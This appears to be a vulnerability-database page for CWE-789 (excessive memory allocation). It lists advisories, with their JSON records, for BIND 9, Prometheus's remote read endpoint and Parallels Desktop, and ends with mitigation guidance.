To keep its cache database efficient, named running as a recursive resolver occasionally attempts to clean up the database. It uses several methods, including some that are asynchronous: a small chunk of memory pointing to the cache element that can be cleaned up is first allocated and then queued for later processing. It was discovered that if the resolver is continuously processing query patterns triggering this type of cache-database maintenance, named may not be able to handle the cleanup events in a timely manner. This in turn enables the list of queued cleanup events to grow infinitely large over time, allowing the configured max-cache-size limit to be significantly exceeded. This issue affects BIND 9 versions 9.16.0 through 9.16.45 and 9.16.8-S1 through 9.16.45-S1.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-6516"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770",
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-13T14:15:46Z",
    "severity": "HIGH"
  },
  "details": "To keep its cache database efficient, `named` running as a recursive resolver occasionally attempts to clean up the database. It uses several methods, including some that are asynchronous: a small chunk of memory pointing to the cache element that can be cleaned up is first allocated and then queued for later processing. It was discovered that if the resolver is continuously processing query patterns triggering this type of cache-database maintenance, `named` may not be able to handle the cleanup events in a timely manner. This in turn enables the list of queued cleanup events to grow infinitely large over time, allowing the configured `max-cache-size` limit to be significantly exceeded.\nThis issue affects BIND 9 versions 9.16.0 through 9.16.45 and 9.16.8-S1 through 9.16.45-S1.",
  "id": "GHSA-8mxm-4gjm-vrc7",
  "modified": "2024-05-03T15:30:36Z",
  "published": "2024-02-13T15:31:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6516"
    },
    {
      "type": "WEB",
      "url": "https://kb.isc.org/docs/cve-2023-6516"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PNNHZSZPG2E7NBMBNYPGHCFI4V4XRWNQ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZDZFMEKQTZ4L7RY46FCENWFB5MDT263R"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240503-0008"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2024/02/13/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8RM2-7QQF-34QM

Vulnerability from github – Published: 2026-05-05 19:34 – Updated: 2026-06-08 16:22
VLAI
Summary
Prometheus: Remote read endpoint allows denial of service via crafted snappy payload
Details

Impact

The remote read endpoint (/api/v1/read) does not validate the declared decoded length in a snappy-compressed request body before allocating memory. An unauthenticated attacker can send a small payload that causes a huge heap allocation per request. Under concurrent load this can exhaust available memory and crash the Prometheus process.

Patches

Has the problem been patched? What versions should users upgrade to?

Fixed in 3.11.3 and 3.5.3 LTS. Users should upgrade to these versions or later.

Workarounds

User who can not upgrade can place Prometheus behind a reverse proxy or firewall that requires authentication before requests reach /api/v1/read.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/prometheus/prometheus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.306.0"
            },
            {
              "fixed": "0.311.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/prometheus/prometheus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.305.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/prometheus/prometheus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0-rc.0"
            },
            {
              "last_affected": "2.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42154"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T19:34:05Z",
    "nvd_published_at": "2026-05-04T19:16:04Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nThe remote read endpoint (`/api/v1/read`) does not validate the declared decoded length in a snappy-compressed request body before allocating memory.\nAn unauthenticated attacker can send a small payload that causes a huge heap allocation per request. Under concurrent load this can exhaust available memory and crash the Prometheus process.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nFixed in 3.11.3 and 3.5.3 LTS. Users should upgrade to these versions or later.\n\n### Workarounds\nUser who can not upgrade can place Prometheus behind a reverse proxy or firewall that requires authentication before requests reach /api/v1/read.",
  "id": "GHSA-8rm2-7qqf-34qm",
  "modified": "2026-06-08T16:22:14Z",
  "published": "2026-05-05T19:34:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/prometheus/prometheus/security/advisories/GHSA-8rm2-7qqf-34qm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42154"
    },
    {
      "type": "WEB",
      "url": "https://github.com/prometheus/prometheus/pull/18584"
    },
    {
      "type": "WEB",
      "url": "https://github.com/prometheus/prometheus/pull/18585"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/prometheus/prometheus"
    },
    {
      "type": "WEB",
      "url": "https://github.com/prometheus/prometheus/releases/tag/v3.11.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/prometheus/prometheus/releases/tag/v3.5.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prometheus: Remote read endpoint allows denial of service via crafted snappy payload"
}

GHSA-8VHH-3C8H-FWC3

Vulnerability from github – Published: 2022-01-26 00:01 – Updated: 2022-02-02 00:02
VLAI
Details

This vulnerability allows local attackers to escalate privileges on affected installations of Parallels Desktop 16.1.3-49160. An attacker must first obtain the ability to execute low-privileged code on the target guest system in order to exploit this vulnerability. The specific flaw exists within the Toolgate component. The issue results from the lack of proper validation of user-supplied data, which can result in an uncontrolled memory allocation. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the hypervisor. Was ZDI-CAN-13797.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-34869"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-25T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "This vulnerability allows local attackers to escalate privileges on affected installations of Parallels Desktop 16.1.3-49160. An attacker must first obtain the ability to execute low-privileged code on the target guest system in order to exploit this vulnerability. The specific flaw exists within the Toolgate component. The issue results from the lack of proper validation of user-supplied data, which can result in an uncontrolled memory allocation. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the hypervisor. Was ZDI-CAN-13797.",
  "id": "GHSA-8vhh-3c8h-fwc3",
  "modified": "2022-02-02T00:02:05Z",
  "published": "2022-01-26T00:01:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34869"
    },
    {
      "type": "WEB",
      "url": "https://kb.parallels.com/125013"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-21-1057"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}
Mitigation
Implementation Architecture and Design

Perform adequate input validation against any value that influences the amount of memory that is allocated. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.

Mitigation
Operation

Run your program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list